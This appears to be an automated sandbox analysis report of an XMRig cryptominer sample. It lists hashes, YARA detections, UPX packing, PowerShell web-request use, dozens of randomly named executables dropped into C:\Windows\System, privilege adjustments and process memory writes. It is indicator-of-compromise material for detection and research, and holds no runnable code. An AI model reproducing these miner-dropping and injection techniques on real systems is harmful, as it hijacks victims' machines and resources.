xmrig | 2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893

Analysis

max time kernel
150s
max time network
150s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
01-08-2024 20:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
Size

2.5MB
MD5

4690a7479756577e593ef51e71fa5307
SHA1

b2b2b5e85d2331efd4b12724deb10ed852592e84
SHA256

2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893
SHA512

11db60c8b4af36379d50b1bb17e830e01592b18eed4e56a6330c0113bd8932cbc9e403475a2d1cc454e759d5ce5e5f44e9de398e7f1203f746c3201e63b47960
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1Vr5s1PTl//M:NABE

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 21 IoCs

miner

resource	yara_rule
behavioral1/memory/2816-82-0x000000013FDB0000-0x00000001401A2000-memory.dmp	xmrig
behavioral1/memory/2872-81-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	xmrig
behavioral1/memory/2712-80-0x000000013F1D0000-0x000000013F5C2000-memory.dmp	xmrig
behavioral1/memory/2752-68-0x000000013FAB0000-0x000000013FEA2000-memory.dmp	xmrig
behavioral1/memory/2848-67-0x000000013FA90000-0x000000013FE82000-memory.dmp	xmrig
behavioral1/memory/1208-66-0x000000013FE90000-0x0000000140282000-memory.dmp	xmrig
behavioral1/memory/2484-64-0x000000013F810000-0x000000013FC02000-memory.dmp	xmrig
behavioral1/memory/2076-59-0x000000013FA90000-0x000000013FE82000-memory.dmp	xmrig
behavioral1/memory/564-58-0x000000013F870000-0x000000013FC62000-memory.dmp	xmrig
behavioral1/memory/2252-54-0x000000013F770000-0x000000013FB62000-memory.dmp	xmrig
behavioral1/memory/3052-32-0x000000013F4C0000-0x000000013F8B2000-memory.dmp	xmrig
behavioral1/memory/2816-3594-0x000000013FDB0000-0x00000001401A2000-memory.dmp	xmrig
behavioral1/memory/2252-3658-0x000000013F770000-0x000000013FB62000-memory.dmp	xmrig
behavioral1/memory/1208-3660-0x000000013FE90000-0x0000000140282000-memory.dmp	xmrig
behavioral1/memory/2752-3659-0x000000013FAB0000-0x000000013FEA2000-memory.dmp	xmrig
behavioral1/memory/564-3667-0x000000013F870000-0x000000013FC62000-memory.dmp	xmrig
behavioral1/memory/2712-3664-0x000000013F1D0000-0x000000013F5C2000-memory.dmp	xmrig
behavioral1/memory/2484-3663-0x000000013F810000-0x000000013FC02000-memory.dmp	xmrig
behavioral1/memory/2848-3662-0x000000013FA90000-0x000000013FE82000-memory.dmp	xmrig
behavioral1/memory/3052-3661-0x000000013F4C0000-0x000000013F8B2000-memory.dmp	xmrig
behavioral1/memory/3048-3679-0x000000013FA60000-0x000000013FE52000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1620	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3052	CqBXGgb.exe
2252	RkdkVSz.exe
1208	eRdRmBi.exe
564	McpGPwO.exe
2848	UioJucY.exe
2752	rzPhExA.exe
2484	iVyskSE.exe
3048	mpkbbeR.exe
2712	BKyfddy.exe
2872	wHDdktL.exe
2816	GAqftoW.exe
1972	lQpdzyo.exe
2996	erKXMjS.exe
1476	zwDjfgh.exe
1192	ZVSjVWr.exe
1860	MupTNuG.exe
2364	nfSZyrS.exe
2132	YvPxpSa.exe
2040	PpfxLWP.exe
1068	aZCONle.exe
2024	EmuhbsR.exe
1168	ZDHEnDR.exe
1116	bkMGDIN.exe
2480	cFOSmLs.exe
2444	WHWdfbR.exe
2936	NGmAwbp.exe
740	uekLRKG.exe
2560	pJFYAHi.exe
2580	molYLKd.exe
604	mvmZSFF.exe
2908	vlOLxwt.exe
1432	yseYWTd.exe
900	oBpMSug.exe
2156	ExMTWBF.exe
2232	TYomvaF.exe
1020	YuttOAi.exe
1148	VXHGZen.exe
2192	HpYQJVv.exe
824	TqhrJwB.exe
2564	taZdEgi.exe
2572	adeQOmU.exe
1324	VgwbPui.exe
2008	CkinhzY.exe
1508	zerlAoT.exe
3024	cVhTXgh.exe
3016	vonLUJi.exe
1712	tNxpKCn.exe
2280	EpMgZHP.exe
2456	oRhlKwp.exe
2912	XAHNgHQ.exe
2676	GxCEays.exe
536	kTxTliT.exe
2264	ytopOHI.exe
2880	EiXUVXj.exe
1896	ylEsYWA.exe
2756	yDqSwxt.exe
2612	qofHAoa.exe
1868	mOtCuAJ.exe
2548	pcgGafO.exe
1400	DgEZoPY.exe
292	dAIfswj.exe
1892	QveHyKL.exe
1636	EprcMBh.exe
928	GQnLfNf.exe

Loads dropped DLL 64 IoCs

pid	Process
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe

UPX packed file 54 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2076-0-0x000000013F620000-0x000000013FA12000-memory.dmp	upx
behavioral1/files/0x00080000000160d8-13.dat	upx
behavioral1/files/0x0009000000015fcc-12.dat	upx
behavioral1/files/0x000a00000001202c-5.dat	upx
behavioral1/memory/3048-69-0x000000013FA60000-0x000000013FE52000-memory.dmp	upx
behavioral1/files/0x0009000000015f50-27.dat	upx
behavioral1/files/0x0006000000016d6b-77.dat	upx
behavioral1/files/0x0006000000016d9f-106.dat	upx
behavioral1/files/0x00060000000173b8-133.dat	upx
behavioral1/files/0x00060000000173eb-138.dat	upx
behavioral1/files/0x00050000000186f3-158.dat	upx
behavioral1/files/0x0006000000018b00-188.dat	upx
behavioral1/files/0x0005000000018736-178.dat	upx
behavioral1/files/0x0005000000018780-183.dat	upx
behavioral1/files/0x000500000001872a-168.dat	upx
behavioral1/files/0x000500000001872e-172.dat	upx
behavioral1/files/0x00050000000186f7-163.dat	upx
behavioral1/files/0x00060000000175d0-148.dat	upx
behavioral1/files/0x00060000000175f0-153.dat	upx
behavioral1/files/0x00060000000175cc-142.dat	upx
behavioral1/files/0x00060000000171b9-128.dat	upx
behavioral1/files/0x000600000001703d-118.dat	upx
behavioral1/files/0x0006000000017093-123.dat	upx
behavioral1/files/0x0007000000016d77-109.dat	upx
behavioral1/files/0x0006000000016db1-112.dat	upx
behavioral1/memory/2816-82-0x000000013FDB0000-0x00000001401A2000-memory.dmp	upx
behavioral1/memory/2872-81-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	upx
behavioral1/memory/2712-80-0x000000013F1D0000-0x000000013F5C2000-memory.dmp	upx
behavioral1/files/0x000f0000000054a8-100.dat	upx
behavioral1/files/0x0008000000016848-40.dat	upx
behavioral1/files/0x0007000000016491-36.dat	upx
behavioral1/files/0x0007000000016591-33.dat	upx
behavioral1/files/0x00070000000162f0-24.dat	upx
behavioral1/files/0x0009000000015e25-89.dat	upx
behavioral1/memory/2752-68-0x000000013FAB0000-0x000000013FEA2000-memory.dmp	upx
behavioral1/memory/2848-67-0x000000013FA90000-0x000000013FE82000-memory.dmp	upx
behavioral1/memory/1208-66-0x000000013FE90000-0x0000000140282000-memory.dmp	upx
behavioral1/memory/2484-64-0x000000013F810000-0x000000013FC02000-memory.dmp	upx
behavioral1/memory/564-58-0x000000013F870000-0x000000013FC62000-memory.dmp	upx
behavioral1/memory/2252-54-0x000000013F770000-0x000000013FB62000-memory.dmp	upx
behavioral1/files/0x0006000000016d67-49.dat	upx
behavioral1/files/0x0009000000016610-48.dat	upx
behavioral1/memory/3052-32-0x000000013F4C0000-0x000000013F8B2000-memory.dmp	upx
behavioral1/files/0x00070000000161f5-22.dat	upx
behavioral1/memory/2816-3594-0x000000013FDB0000-0x00000001401A2000-memory.dmp	upx
behavioral1/memory/2252-3658-0x000000013F770000-0x000000013FB62000-memory.dmp	upx
behavioral1/memory/1208-3660-0x000000013FE90000-0x0000000140282000-memory.dmp	upx
behavioral1/memory/2752-3659-0x000000013FAB0000-0x000000013FEA2000-memory.dmp	upx
behavioral1/memory/564-3667-0x000000013F870000-0x000000013FC62000-memory.dmp	upx
behavioral1/memory/2712-3664-0x000000013F1D0000-0x000000013F5C2000-memory.dmp	upx
behavioral1/memory/2484-3663-0x000000013F810000-0x000000013FC02000-memory.dmp	upx
behavioral1/memory/2848-3662-0x000000013FA90000-0x000000013FE82000-memory.dmp	upx
behavioral1/memory/3052-3661-0x000000013F4C0000-0x000000013F8B2000-memory.dmp	upx
behavioral1/memory/3048-3679-0x000000013FA60000-0x000000013FE52000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\UdmiPVE.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\qHTIjjQ.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\JbNiAFX.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\VCAymex.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\eZImFVP.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\TVSuUsc.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\ayjoRhB.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\BJpvyxN.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\MupTNuG.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\wQrPqDy.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\HfRSmUk.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\TjpLZGG.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\PxfAhDL.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\xNNSRNe.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\EVfwVKX.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\SbhgVHA.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\FVHPWEN.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\OoDcfqR.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\mkRJcUy.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\qYGHNrQ.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\KYRIIhz.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\LIknpNo.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\pHNWMjq.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\AgXpyMt.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\JsJkFaP.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\AMPfiZB.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\tdDqYsT.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\EODnwHe.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\wxaVksI.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\NGmAwbp.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\OhyqZSs.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\fOjeGot.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\XjztUWN.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\uNThMrw.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\SuutTFT.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\qvZNAVx.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\CDRpzwC.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\IstjUTW.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\QLgZnGc.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\JZFITdn.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\pxGyKCZ.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\zUgufpK.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\VMNonqp.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\GEZhEgx.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\QTKKojw.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\OfAgiNb.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\wWQDZWs.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\ixXzjAV.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\KiySZYE.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\ZZlWFRh.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\XSPvDPd.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\lOBqbEz.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\MokriHE.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\QmxJgcq.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\InZQukj.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\GxCEays.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\mzlkTTt.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\xJpWfnN.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\MBSdXAY.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\HWZbfly.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\MTAHHqQ.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\GRFRsGB.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\GzLqJtN.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
File created	C:\Windows\System\VwcHtAf.exe	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1620	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
Token: SeLockMemoryPrivilege	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
Token: SeDebugPrivilege	1620	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2076 wrote to memory of 1620	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	31
PID 2076 wrote to memory of 1620	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	31
PID 2076 wrote to memory of 1620	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	31
PID 2076 wrote to memory of 3052	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	32
PID 2076 wrote to memory of 3052	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	32
PID 2076 wrote to memory of 3052	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	32
PID 2076 wrote to memory of 564	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	33
PID 2076 wrote to memory of 564	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	33
PID 2076 wrote to memory of 564	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	33
PID 2076 wrote to memory of 2252	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	34
PID 2076 wrote to memory of 2252	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	34
PID 2076 wrote to memory of 2252	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	34
PID 2076 wrote to memory of 3048	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	35
PID 2076 wrote to memory of 3048	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	35
PID 2076 wrote to memory of 3048	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	35
PID 2076 wrote to memory of 1208	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	36
PID 2076 wrote to memory of 1208	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	36
PID 2076 wrote to memory of 1208	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	36
PID 2076 wrote to memory of 2712	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	37
PID 2076 wrote to memory of 2712	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	37
PID 2076 wrote to memory of 2712	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	37
PID 2076 wrote to memory of 2848	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	38
PID 2076 wrote to memory of 2848	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	38
PID 2076 wrote to memory of 2848	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	38
PID 2076 wrote to memory of 2872	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	39
PID 2076 wrote to memory of 2872	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	39
PID 2076 wrote to memory of 2872	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	39
PID 2076 wrote to memory of 2752	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	40
PID 2076 wrote to memory of 2752	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	40
PID 2076 wrote to memory of 2752	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	40
PID 2076 wrote to memory of 2816	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	41
PID 2076 wrote to memory of 2816	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	41
PID 2076 wrote to memory of 2816	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	41
PID 2076 wrote to memory of 2484	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	42
PID 2076 wrote to memory of 2484	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	42
PID 2076 wrote to memory of 2484	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	42
PID 2076 wrote to memory of 2996	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	43
PID 2076 wrote to memory of 2996	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	43
PID 2076 wrote to memory of 2996	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	43
PID 2076 wrote to memory of 1972	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	44
PID 2076 wrote to memory of 1972	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	44
PID 2076 wrote to memory of 1972	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	44
PID 2076 wrote to memory of 1192	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	45
PID 2076 wrote to memory of 1192	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	45
PID 2076 wrote to memory of 1192	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	45
